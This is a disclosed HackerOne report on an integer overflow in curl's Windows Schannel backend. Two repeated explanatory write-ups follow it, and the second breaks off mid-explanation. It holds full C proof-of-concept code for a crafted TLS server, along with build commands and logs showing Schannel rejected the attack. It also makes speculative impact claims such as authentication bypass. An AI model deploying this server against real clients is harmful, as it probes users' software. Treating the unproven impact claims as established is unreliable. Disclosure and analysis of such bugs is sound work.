Integer Overflow in schannel.c TLS Data Transmission
curl's schannel.c adds three TLS buffer sizes without checking for integer overflow, which on 32-bit builds can wrap to a small value. An attacker controlling a TLS server could potentially cause incorrect data transmission sizes, though Windows Schannel rejected the malformed handshake in testing.
Originally disclosed on HackerOne
- Disclosed after 4 hours
Summary
This vulnerability allows an in overflow when adding TLS buffer sizes during an encrypted data tranmission which can lead to incorrect data sizes being sent and TLS security issues while in testing.
Within testing on a Windows 10 enviroment, Windows's Schannel rejected the malformed TLS handshake constructed as (SEC_E_INVALID_TOKEN) which is expected as the vulnerable code at location: ./lib/vtls/schannel.c:
/* send the encrypted message including header, data and trailer */
len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer;
rules after the TLS connection is established. This also occurs during the data transmission phase, not the handshake itself and windows validates TLS records and rejects obv malformed one's.
curl adds the three buffers: outbuf which is a TLS header, outbuf[1] which is the encrypted data and then outbuf which is the TLS trailer. curl adds these three together without checking for an int overflow and when on my testing enviroment compiling for 32 bit, if the sizes are large enough, the addition can overflow which results in a small len value.
This can lead to incorrect data transmission sizes, TLS protocol violations, memory safety issues and worst case I think is a potential security bypass if the overflow causes curl to send less data than intended.
This can be tested with the proof of concept attached where a malicious HTTP server is served and any windows user with curl connecting to such a malicious server is affected. The only feasible way of exploting this practically would require bypassing Windows Schannel validity due to me getting a SEC_E_INVALID_TOKEN rejecting the malformed TLS. This was also tested compiled for 32-bit windows systems where the wraparound is likely.
Log
=== Schannel Vulnerability PoC Server (Windows) ===
This server attempts to trigger the integer overflow
in curl's schannel.c by sending crafted TLS responses
[*] Initializing Winsock...
[*] Malicious server listening on port 4433
[*] Test with: curl -k https://localhost:4433
[*] Client connected
[*] Received 1815 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 1783 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 1719 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 1783 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 281 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
curl -k https://localhost:4433/
curl: (35) schannel: next InitializeSecurityContext failed: SEC_E_INVALID_TOKEN (0x80090308) - The token supplied to the function is invalid
math poc
#define SECURITY_WIN32 1
#include <windows.h>
#include <security.h>
#include <schannel.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
printf("Curl Schannel Integer Overflow PoC\n");
printf("==================================\n\n");
SYSTEM_INFO si;
GetSystemInfo(&si);
printf("Architecture: %s\n", si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ? "64-bit" : "32-bit");
printf("sizeof(size_t): %llu bytes\n\n", (unsigned long long)sizeof(size_t));
SecBuffer outbuf[3];
outbuf[0].cbBuffer = 0x80000000;
outbuf[1].cbBuffer = 0x80000001;
outbuf[2].cbBuffer = 0x00000000;
size_t len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer;
printf("Vulnerable code: len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer\n\n");
printf("0x%08lX + 0x%08lX + 0x%08lX = 0x%llX\n",
(unsigned long)outbuf[0].cbBuffer,
(unsigned long)outbuf[1].cbBuffer,
(unsigned long)outbuf[2].cbBuffer,
(unsigned long long)len);
unsigned long long expected = 0x100000001ULL;
if(sizeof(size_t) == 4 && len != expected) {
printf("\n*** INTEGER OVERFLOW on 32-bit! ***\n");
printf("Expected: %llu bytes\n", expected);
printf("Got: %llu bytes\n", (unsigned long long)len);
}
return 0;
}
Malicious server
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#define PORT 4433
#pragma pack(push, 1)
typedef struct {
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint16_t length;
} tls_record_header;
#pragma pack(pop)
void send_malicious_record(SOCKET client_socket) {
printf("[*] Sending malicious TLS record...\n");
tls_record_header record;
record.type = 0x17;
record.version_major = 0x03;
record.version_minor = 0x03;
record.length = htons(0xFFFF);
send(client_socket, (char*)&record, sizeof(record), 0);
size_t payload_size = 0xFFFF;
unsigned char *payload = malloc(payload_size);
if (!payload) {
printf("Failed to allocate payload\n");
return;
}
memset(payload, 'A', payload_size);
send(client_socket, (char*)payload, (int)payload_size, 0);
free(payload);
for(int i = 0; i < 3; i++) {
send(client_socket, (char*)&record, sizeof(record), 0);
payload = malloc(payload_size);
if (!payload) continue;
memset(payload, 'B' + i, payload_size);
send(client_socket, (char*)payload, (int)payload_size, 0);
free(payload);
}
printf("[*] Sent malicious TLS records\n");
}
void run_raw_server() {
WSADATA wsa;
SOCKET server_socket, client_socket;
struct sockaddr_in server_addr, client_addr;
int client_addr_len = sizeof(client_addr);
printf("[*] Initializing Winsock...\n");
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
printf("WSAStartup failed: %d\n", WSAGetLastError());
return;
}
server_socket = socket(AF_INET, SOCK_STREAM, 0);
if (server_socket == INVALID_SOCKET) {
printf("Socket creation failed: %d\n", WSAGetLastError());
WSACleanup();
return;
}
int opt = 1;
setsockopt(server_socket, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(PORT);
if (bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR) {
printf("Bind failed: %d\n", WSAGetLastError());
closesocket(server_socket);
WSACleanup();
return;
}
if (listen(server_socket, 3) == SOCKET_ERROR) {
printf("Listen failed: %d\n", WSAGetLastError());
closesocket(server_socket);
WSACleanup();
return;
}
printf("[*] Malicious server listening on port %d\n", PORT);
printf("[*] Test with: curl -k https://localhost:%d\n", PORT);
while (1) {
client_socket = accept(server_socket, (struct sockaddr*)&client_addr, &client_addr_len);
if (client_socket == INVALID_SOCKET) {
printf("Accept failed: %d\n", WSAGetLastError());
continue;
}
printf("[*] Client connected\n");
char buffer[4096];
int received = recv(client_socket, buffer, sizeof(buffer), 0);
printf("[*] Received %d bytes (ClientHello)\n", received);
unsigned char server_hello[] = {
0x16, 0x03, 0x03, 0x00, 0x31,
0x02, 0x00, 0x00, 0x2d,
0x03, 0x03,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
0x00,
0x00, 0x2f,
0x00
};
send(client_socket, (char*)server_hello, sizeof(server_hello), 0);
send_malicious_record(client_socket);
size_t huge_size = 0x100000;
unsigned char *huge_data = malloc(huge_size);
if (huge_data) {
memset(huge_data, 'X', huge_size);
send(client_socket, (char*)huge_data, (int)huge_size, 0);
free(huge_data);
}
closesocket(client_socket);
printf("[*] Connection closed\n\n");
}
closesocket(server_socket);
WSACleanup();
}
int main() {
run_raw_server();
return 0;
}
To replicate
-
compile the malicious TLS server on Windows and run accordingly for 32-bit:
i686-w64-mingw32-gcc -Wall -Wextra -g3 malicious_server.c -o malicious_server.exe -lws2_32 -
execute
curl -k https://localhost:4433/
Versions affected
8.15.0: release 8.16.0: dev
Impact
Summary:
An attacker can achieve authentication bypass if creds are being tranmitted via TLS like if one sends 4GB of encrypted auth data but in reality someone only sends one byte considering an overflow and then as a result the server would receive incomplete credentials.
Also possibly, you could prevent data exfiltration if you manipulate again the TLS handshake to trigger the large buffer sizes again which causes the same overflow resulting in less data than the application expects.
This could lead to a DoS as well as infinite loops could occur when len is very small or the connection hangs entirely due to the protocol violation or exhausting resources in general from repeated connection attempts.
Real world: an attacker would need to control or compromise a TLS server, manipulate Windows' EncryptMessage() to return specific buffer sizes and trigger the overflow during the transmission of data so in my mind this could also be like incomplete security patches being trasmitted, partial file transfers which appear complete or truncated API requests.
Context
curl is a command line tool and library that speaks many protocols, and one of its TLS backends on Windows is Schannel, the native Windows TLS implementation. When curl sends encrypted application data through Schannel it calls EncryptMessage(), which returns a set of SecBuffer structures: a TLS record header, the encrypted payload and a TLS trailer. curl then has to work out how many bytes it is about to write to the socket, and it does that by adding the three buffer lengths together.
The report concerns that addition in ./lib/vtls/schannel.c. The researcher's claim is that the sum is performed without an overflow check, so on a 32-bit build sufficiently large buffer sizes can wrap around and produce a small len value. The affected versions listed are 8.15.0 (release) and 8.16.0 (dev).
Setup
The testing was done on a Windows 10 environment, with curl built for 32-bit Windows, where the researcher says the wraparound is likely.
Finding it
The researcher points at this code in ./lib/vtls/schannel.c:
/* send the encrypted message including header, data and trailer */
len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer;
outbuf[0] is the TLS header, outbuf[1] the encrypted data and outbuf[2] the TLS trailer. The three cbBuffer values are added with no check for an integer overflow. If the sizes are large enough, the addition wraps and len becomes a small value. The researcher notes that this code path runs after the TLS connection is established, during the data transmission phase, not during the handshake itself.
Exploitation
Step 1: demonstrate the arithmetic
The first proof of concept is a standalone Windows program that fills three SecBuffer structures with large values and performs the same addition. It prints the architecture and the size of size_t, then reports an overflow when compiled for 32-bit.
#define SECURITY_WIN32 1
#include <windows.h>
#include <security.h>
#include <schannel.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
printf("Curl Schannel Integer Overflow PoC\n");
printf("==================================\n\n");
SYSTEM_INFO si;
GetSystemInfo(&si);
printf("Architecture: %s\n", si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ? "64-bit" : "32-bit");
printf("sizeof(size_t): %llu bytes\n\n", (unsigned long long)sizeof(size_t));
SecBuffer outbuf[3];
outbuf[0].cbBuffer = 0x80000000;
outbuf[1].cbBuffer = 0x80000001;
outbuf[2].cbBuffer = 0x00000000;
size_t len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer;
printf("Vulnerable code: len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer\n\n");
printf("0x%08lX + 0x%08lX + 0x%08lX = 0x%llX\n",
(unsigned long)outbuf[0].cbBuffer,
(unsigned long)outbuf[1].cbBuffer,
(unsigned long)outbuf[2].cbBuffer,
(unsigned long long)len);
unsigned long long expected = 0x100000001ULL;
if(sizeof(size_t) == 4 && len != expected) {
printf("\n*** INTEGER OVERFLOW on 32-bit! ***\n");
printf("Expected: %llu bytes\n", expected);
printf("Got: %llu bytes\n", (unsigned long long)len);
}
return 0;
}
Step 2: run the malicious server
The second proof of concept is a raw TCP server that accepts a connection, reads the ClientHello, sends a minimal ServerHello, then sends crafted TLS records. The record header is defined as follows:
#pragma pack(push, 1)
typedef struct {
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint16_t length;
} tls_record_header;
#pragma pack(pop)
void send_malicious_record(SOCKET client_socket) {
printf("[*] Sending malicious TLS record...\n");
tls_record_header record;
record.type = 0x17;
record.version_major = 0x03;
record.version_minor = 0x03;
record.length = htons(0xFFFF);
send(client_socket, (char*)&record, sizeof(record), 0);
size_t payload_size = 0xFFFF;
unsigned char *payload = malloc(payload_size);
if (!payload) {
printf("Failed to allocate payload\n");
return;
}
memset(payload, 'A', payload_size);
send(client_socket, (char*)payload, (int)payload_size, 0);
free(payload);
for(int i = 0; i < 3; i++) {
send(client_socket, (char*)&record, sizeof(record), 0);
payload = malloc(payload_size);
if (!payload) continue;
memset(payload, 'B' + i, payload_size);
send(client_socket, (char*)payload, (int)payload_size, 0);
free(payload);
}
printf("[*] Sent malicious TLS records\n");
}
void run_raw_server() {
WSADATA wsa;
SOCKET server_socket, client_socket;
struct sockaddr_in server_addr, client_addr;
int client_addr_len = sizeof(client_addr);
printf("[*] Initializing Winsock...\n");
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
printf("WSAStartup failed: %d\n", WSAGetLastError());
return;
}
server_socket = socket(AF_INET, SOCK_STREAM, 0);
if (server_socket == INVALID_SOCKET) {
printf("Socket creation failed: %d\n", WSAGetLastError());
WSACleanup();
return;
}
int opt = 1;
setsockopt(server_socket, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(PORT);
if (bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR) {
printf("Bind failed: %d\n", WSAGetLastError());
closesocket(server_socket);
WSACleanup();
return;
}
if (listen(server_socket, 3) == SOCKET_ERROR) {
printf("Listen failed: %d\n", WSAGetLastError());
closesocket(server_socket);
WSACleanup();
return;
}
printf("[*] Malicious server listening on port %d\n", PORT);
printf("[*] Test with: curl -k https://localhost:%d\n", PORT);
while (1) {
client_socket = accept(server_socket, (struct sockaddr*)&client_addr, &client_addr_len);
if (client_socket == INVALID_SOCKET) {
printf("Accept failed: %d\n", WSAGetLastError());
continue;
}
printf("[*] Client connected\n");
char buffer[4096];
int received = recv(client_socket, buffer, sizeof(buffer), 0);
printf("[*] Received %d bytes (ClientHello)\n", received);
unsigned char server_hello[] = {
0x16, 0x03, 0x03, 0x00, 0x31,
0x02, 0x00, 0x00, 0x2d,
0x03, 0x03,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
0x00,
0x00, 0x2f,
0x00
};
send(client_socket, (char*)server_hello, sizeof(server_hello), 0);
send_malicious_record(client_socket);
size_t huge_size = 0x100000;
unsigned char *huge_data = malloc(huge_size);
if (huge_data) {
memset(huge_data, 'X', huge_size);
send(client_socket, (char*)huge_data, (int)huge_size, 0);
free(huge_data);
}
closesocket(client_socket);
printf("[*] Connection closed\n\n");
}
closesocket(server_socket);
WSACleanup();
}
int main() {
run_raw_server();
return 0;
}
Step 3: compile and connect
i686-w64-mingw32-gcc -Wall -Wextra -g3 malicious_server.c -o malicious_server.exe -lws2_32
curl -k https://localhost:4433/
What came back
=== Schannel Vulnerability PoC Server (Windows) ===
This server attempts to trigger the integer overflow
in curl's schannel.c by sending crafted TLS responses
[*] Initializing Winsock...
[*] Malicious server listening on port 4433
[*] Test with: curl -k https://localhost:4433
[*] Client connected
[*] Received 1815 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 1783 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 1719 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 1783 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 281 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
On the client side, curl failed before any application data was exchanged:
curl -k https://localhost:4433/
curl: (35) schannel: next InitializeSecurityContext failed: SEC_E_INVALID_TOKEN (0x80090308) - The token supplied to the function is invalid
Windows Schannel rejected the malformed TLS handshake with SEC_E_INVALID_TOKEN. The researcher treats this as expected: Windows validates TLS records and rejects obviously malformed ones, so the vulnerable code path, which runs after the connection is established, was not reached in this test. The report states plainly that the only feasible way of exploiting this in practice would require bypassing Windows Schannel validity checks.
Root cause
The addition of the three cbBuffer values is done without an overflow check. On a 32-bit build, if the sizes are large enough, the sum wraps and len becomes small. The researcher's reasoning is that this can lead to incorrect data transmission sizes, TLS protocol violations and memory safety issues, and in the worst case a security bypass if the overflow causes curl to send less data than intended.
Existing defences did stop the practical test: Schannel's own record validation rejected the crafted traffic with SEC_E_INVALID_TOKEN before the vulnerable arithmetic mattered. The report does not describe any technique that gets past that validation.
Impact
The report describes several possible consequences, all conditional on an attacker controlling or compromising a TLS server and on getting EncryptMessage() to return the specific buffer sizes needed to trigger the overflow during data transmission:
- Authentication bypass if credentials are transmitted over TLS: the attacker sends what should be 4GB of encrypted auth data, but due to the overflow only one byte is actually sent, and the server receives incomplete credentials.
- Prevention of data exfiltration, by manipulating the TLS handshake to trigger the large buffer sizes again, so that less data than the application expects is transmitted.
- Denial of service, through infinite loops when
lenis very small, a connection that hangs entirely because of the protocol violation, or resource exhaustion from repeated connection attempts. - In the researcher's view, incomplete security patches being transmitted, partial file transfers that appear complete, and truncated API requests.
The report does not claim a demonstrated end-to-end exploit; the practical test was rejected by Schannel, and the arithmetic overflow was shown in a standalone program.
Fix
The report does not describe a fix or a code change.
Variants to test
- Build curl against Schannel for 32-bit Windows and instrument the
lencalculation inschannel.cto log the threecbBuffervalues and the resulting sum. A positive result is a logged sum that is smaller than the individual buffer sizes. - Look for other places in curl's TLS backends where multiple buffer lengths are added without an overflow check, for example where record header, payload and trailer sizes are combined. A positive result is a code path where the sum can wrap on a 32-bit build.
- Test whether any Schannel configuration or record shape is accepted by Windows while still producing large
cbBuffervalues fromEncryptMessage(). A positive result is a connection that reaches the data transmission phase with the crafted sizes. - Check 32-bit builds of other applications that use Schannel directly and perform the same unchecked addition of
SecBufferlengths. A positive result is the same wraparound in their send path.
What happened, in plain words
curl is a small program, and a library that many other programs use, that fetches things from the internet. You have probably used it without knowing: it is the tool behind many downloads, installers and scripts. It can talk to web servers over HTTPS, which is the padlock version of the web where traffic is scrambled so nobody in the middle can read it.
On Windows, curl can hand the scrambling work to a part of Windows itself called Schannel. Schannel is Microsoft's own implementation of TLS, the protocol that makes HTTPS work. When curl wants to send some private data through Schannel, Schannel hands back three pieces: a small header, the scrambled data itself, and a small trailer. curl then has to tell the operating system how many bytes in total it is about to send, and it works that out by adding the three sizes together.
The researcher found that this addition is done without checking whether the total is too big to fit in the number type being used. On a 32-bit build of curl, where numbers have a fixed maximum size, adding very large sizes can wrap around, the way a car odometer rolls over from 999999 to 000000. The result is a tiny number where a huge one was expected. curl would then believe it is sending far less data than it really has.
This is called an integer overflow. An integer is a whole number, and a computer stores it in a fixed amount of space. When the true result of a sum does not fit in that space, the extra part is silently thrown away. It is like a mechanical counter with four digits: add one to 9999 and you get 0000, not 10000.
The report lists curl 8.15.0 (a released version) and 8.16.0 (a development version) as affected. The researcher tested on Windows 10 with a 32-bit build of curl, because that is where the wraparound is likely.
Context
curl is a command line tool and a library. A command line tool is a program you run by typing a command rather than clicking buttons. A library is a bundle of code that other programs can borrow, so the same networking logic ends up inside thousands of applications.
TLS is the protocol that secures HTTPS. When you visit a site with a padlock, your browser and the server first agree on secret keys in a back and forth called the handshake, and after that every message is encrypted. The handshake is the introduction; the data transmission phase is the conversation that follows.
On Windows, one of the TLS implementations curl can use is Schannel, the native Windows one. When curl sends encrypted application data through Schannel it calls a Windows function called EncryptMessage(). That function returns a set of SecBuffer structures. A structure is a labelled bundle of related values in C, the programming language curl is written in. Each SecBuffer here holds one piece of the outgoing TLS record: a TLS record header, the encrypted payload and a TLS trailer.
A TLS record is the envelope TLS puts around every chunk of data. The header says what kind of record it is and how long it is; the payload is the scrambled content; the trailer carries integrity information. curl then has to work out how many bytes it is about to write to the network connection, and it does that by adding the three buffer lengths together.
The report concerns that addition in ./lib/vtls/schannel.c. That path is a file inside curl's source code: lib is the library code, vtls holds the TLS backends, and schannel.c is the Windows one. The researcher's claim is that the sum is performed without an overflow check, so on a 32-bit build sufficiently large buffer sizes can wrap around and produce a small len value.
Setup
The testing was done on a Windows 10 environment, with curl built for 32-bit Windows, where the researcher says the wraparound is likely. A 32-bit build uses number types that top out much sooner than a 64-bit build, so the rollover happens with smaller values.
Finding it
The researcher points at this code in ./lib/vtls/schannel.c:
/* send the encrypted message including header, data and trailer */
len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer;
Line by line:
- The comment says what the line is for: sending the encrypted message including header, data and trailer.
outbufis an array of three buffers.outbuf[0]is the TLS header,outbuf[1]the encrypted data andoutbuf[2]the TLS trailer..cbBufferis the field inside each buffer that records its size in bytes.lenis the variable that receives the total, and that total is what curl will later use as the number of bytes to send.
The three cbBuffer values are added with no check for an integer overflow. If the sizes are large enough, the addition wraps and len becomes a small value. The researcher notes that this code path runs after the TLS connection is established, during the data transmission phase, not during the handshake itself. That matters: the handshake has to succeed first, and Windows checks handshake messages closely.
Exploitation
Step 1: demonstrate the arithmetic
The first proof of concept is a standalone Windows program that fills three SecBuffer structures with large values and performs the same addition. It prints the architecture and the size of size_t, then reports an overflow when compiled for 32-bit. size_t is the number type C uses for sizes and counts; its width depends on whether the program is 32-bit or 64-bit.
#define SECURITY_WIN32 1
#include <windows.h>
#include <security.h>
#include <schannel.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
printf("Curl Schannel Integer Overflow PoC\n");
printf("==================================\n\n");
SYSTEM_INFO si;
GetSystemInfo(&si);
printf("Architecture: %s\n", si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ? "64-bit" : "32-bit");
printf("sizeof(size_t): %llu bytes\n\n", (unsigned long long)sizeof(size_t));
SecBuffer outbuf[3];
outbuf[0].cbBuffer = 0x80000000;
outbuf[1].cbBuffer = 0x80000001;
outbuf[2].cbBuffer = 0x00000000;
size_t len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer;
printf("Vulnerable code: len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer\n\n");
printf("0x%08lX + 0x%08lX + 0x%08lX = 0x%llX\n",
(unsigned long)outbuf[0].cbBuffer,
(unsigned long)outbuf[1].cbBuffer,
(unsigned long)outbuf[2].cbBuffer,
(unsigned long long)len);
unsigned long long expected = 0x100000001ULL;
if(sizeof(size_t) == 4 && len != expected) {
printf("\n*** INTEGER OVERFLOW on 32-bit! ***\n");
printf("Expected: %llu bytes\n", expected);
printf("Got: %llu bytes\n", (unsigned long long)len);
}
return 0;
}
Line by line:
#define SECURITY_WIN32 1tells the Windows headers that this program is a Windows security program, so the right declarations are pulled in.- The
#includelines bring in the Windows headers, the security headers, the Schannel header and the standard input and output headers. int main()is where the program starts.- The first two
printfcalls print a title and a separator line. SYSTEM_INFO si;declares a structure that will hold information about the machine, andGetSystemInfo(&si)fills it in.- The next
printfprints whether the processor is 64-bit or 32-bit, by comparing the reported architecture with the AMD64 constant. - The following
printfprints how many bytessize_toccupies on this build. SecBuffer outbuf[3];declares an array of three buffers, the same shape curl uses.- The three
cbBufferfields are set to0x80000000,0x80000001and0x00000000. The0xprefix means the number is written in hexadecimal, base 16, which is how programmers usually write raw byte values. size_t len = ...performs the same addition as the vulnerable line in curl.- The next
printfechoes the vulnerable line so the reader can see what is being tested. - The following
printfprints the three inputs and the result in hexadecimal. unsigned long long expected = 0x100000001ULL;records what the true mathematical sum should be. TheULLsuffix says this is an unsigned long long, a 64-bit number.- The
ifchecks two things: thatsize_tis 4 bytes, meaning a 32-bit build, and that the storedlendiffers from the expected value. If both hold, it prints the overflow message with the expected and actual numbers. return 0;ends the program.
This program does not touch the network. It exists to show the arithmetic in isolation, so the reader can see the rollover without any TLS in the way.
Step 2: run the malicious server
The second proof of concept is a raw TCP server that accepts a connection, reads the ClientHello, sends a minimal ServerHello, then sends crafted TLS records. A ClientHello is the first message a TLS client sends, listing what it supports; a ServerHello is the server's reply choosing from that list. TCP is the underlying transport that carries the bytes reliably in order.
The record header is defined as follows:
#pragma pack(push, 1)
typedef struct {
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint16_t length;
} tls_record_header;
#pragma pack(pop)
Line by line:
#pragma pack(push, 1)tells the compiler to lay out the following structure with no padding between fields, so its bytes match the wire format exactly.typedef struct { ... } tls_record_header;defines a new type namedtls_record_header.uint8_t type;is one byte for the record type.uint8_t version_major;anduint8_t version_minor;are the two bytes of the TLS version.uint16_t length;is a two-byte length field.#pragma pack(pop)restores the compiler's normal layout rules.
This mirrors the real TLS record header: one byte of type, two bytes of version, two bytes of length.
void send_malicious_record(SOCKET client_socket) {
printf("[*] Sending malicious TLS record...\n");
tls_record_header record;
record.type = 0x17;
record.version_major = 0x03;
record.version_minor = 0x03;
record.length = htons(0xFFFF);
send(client_socket, (char*)&record, sizeof(record), 0);
size_t payload_size = 0xFFFF;
unsigned char *payload = malloc(payload_size);
if (!payload) {
printf("Failed to allocate payload\n");
return;
}
memset(payload, 'A', payload_size);
send(client_socket, (char*)payload, (int)payload_size, 0);
free(payload);
for(int i = 0; i < 3; i++) {
send(client_socket, (char*)&record, sizeof(record), 0);
payload = malloc(payload_size);
if (!payload) continue;
memset(payload, 'B' + i, payload_size);
send(client_socket, (char*)payload, (int)payload_size, 0);
free(payload);
}
printf("[*] Sent malicious TLS records\n");
}
Line by line:
void send_malicious_record(SOCKET client_socket)defines a function that takes an open connection and sends the crafted records on it.- The first
printfannounces what is about to happen. tls_record_header record;declares one header using the structure defined above.record.type = 0x17;sets the record type to application data.record.version_major = 0x03;andrecord.version_minor = 0x03;set the version bytes to 3.3, the on-wire encoding of TLS 1.2.record.length = htons(0xFFFF);sets the length to 65535, converted to network byte order.htonsswaps the byte order on little-endian machines, because the network expects the most significant byte first.send(client_socket, (char*)&record, sizeof(record), 0);writes the five header bytes to the connection.size_t payload_size = 0xFFFF;sets the payload size to 65535 bytes.malloc(payload_size)asks the operating system for that much memory, and theif (!payload)check handles the case where the request fails.memset(payload, 'A', payload_size);fills the buffer with the letter A.send(...)writes the payload, andfree(payload);releases the memory.- The
forloop repeats three times. Each pass sends the same header again, allocates a fresh payload, fills it with'B' + iso the first is B, the second C, the third D, sends it and frees it. - The final
printfreports that the records have been sent.
void run_raw_server() {
WSADATA wsa;
SOCKET server_socket, client_socket;
struct sockaddr_in server_addr, client_addr;
int client_addr_len = sizeof(client_addr);
printf("[*] Initializing Winsock...\n");
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
printf("WSAStartup failed: %d\n", WSAGetLastError());
return;
}
server_socket = socket(AF_INET, SOCK_STREAM, 0);
if (server_socket == INVALID_SOCKET) {
printf("Socket creation failed: %d\n", WSAGetLastError());
WSACleanup();
return;
}
int opt = 1;
setsockopt(server_socket, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(PORT);
if (bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR) {
printf("Bind failed: %d\n", WSAGetLastError());
closesocket(server_socket);
WSACleanup();
return;
}
if (listen(server_socket, 3) == SOCKET_ERROR) {
printf("Listen failed: %d\n", WSAGetLastError());
closesocket(server_socket);
WSACleanup();
return;
}
printf("[*] Malicious server listening on port %d\n", PORT);
printf("[*] Test with: curl -k https://localhost:%d\n", PORT);
while (1) {
client_socket = accept(server_socket, (struct sockaddr*)&client_addr, &client_addr_len);
if (client_socket == INVALID_SOCKET) {
printf("Accept failed: %d\n", WSAGetLastError());
continue;
}
printf("[*] Client connected\n");
char buffer[4096];
int received = recv(client_socket, buffer, sizeof(buffer), 0);
printf("[*] Received %d bytes (ClientHello)\n", received);
unsigned char server_hello[] = {
0x16, 0x03, 0x03, 0x00, 0x31,
0x02, 0x00, 0x00, 0x2d,
0x03, 0x03,
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
0x00,
0x00, 0x2f,
0x00
};
send(client_socket, (char*)server_hello, sizeof(server_hello), 0);
send_malicious_record(client_socket);
size_t huge_size = 0x100000;
unsigned char *huge_data = malloc(huge_size);
if (huge_data) {
memset(huge_data, 'X', huge_size);
send(client_socket, (char*)huge_data, (int)huge_size, 0);
free(huge_data);
}
closesocket(client_socket);
printf("[*] Connection closed\n\n");
}
closesocket(server_socket);
WSACleanup();
}
int main() {
run_raw_server();
return 0;
}
Line by line:
void run_raw_server()defines the function that does all the work.WSADATA wsa;declares a structure that will hold Winsock startup information. Winsock is the Windows networking library.SOCKET server_socket, client_socket;declares two connection handles, one for listening and one for each accepted client.struct sockaddr_in server_addr, client_addr;declares two address structures, one for the server's own address and one for the client's.int client_addr_len = sizeof(client_addr);records the size of the client address structure, which the accept call needs.WSAStartup(MAKEWORD(2, 2), &wsa)initialises Winsock version 2.2. If it fails, the program prints the error and returns.socket(AF_INET, SOCK_STREAM, 0)creates a TCP socket for IPv4. If it returnsINVALID_SOCKET, the program reports the error, cleans up Winsock and returns.setsockopt(..., SO_REUSEADDR, ...)allows the port to be reused quickly after a restart, which is handy during testing.- The three
server_addrlines fill in the address family, the address to listen on (INADDR_ANY, meaning all local addresses) and the port, converted withhtons. bind(...)attaches the socket to that address and port. On failure the program reports the error, closes the socket, cleans up and returns.listen(server_socket, 3)marks the socket as a listening socket with a small backlog. On failure the same cleanup happens.- The two
printfcalls tell the user the server is listening and how to test it. while (1)loops forever, accepting one client at a time.accept(...)waits for a client and returns a new socket for that connection. On failure it prints the error and continues the loop.- The next
